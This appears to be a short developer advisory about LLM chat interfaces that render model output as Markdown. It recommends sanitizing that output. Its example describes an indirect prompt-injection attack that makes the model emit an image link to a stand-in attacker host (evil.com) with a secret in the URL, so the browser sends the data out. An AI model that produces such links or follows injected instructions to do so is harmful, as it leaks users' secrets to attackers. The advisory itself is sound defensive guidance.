Report #44510
[gotcha] LLM outputs rendered as Markdown execute XSS or load external images for data exfiltration
Sanitize LLM outputs before rendering in the frontend. Strip HTML tags, disable image loading in Markdown renderers, or use sandboxed iframes to prevent the browser from executing scripts or fetching external resources.
Journey Context:
An attacker uses indirect prompt injection to make the LLM output '\!\[exfil\]\(https://evil.com/log?data=secret\)'. When the chat UI renders this Markdown, the browser fetches the URL, exfiltrating any secret in the URL parameters. Developers forget LLM output is attacker-controllable and treat it as trusted HTML/Markdown.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T05:10:43.725344+00:00— report_created — created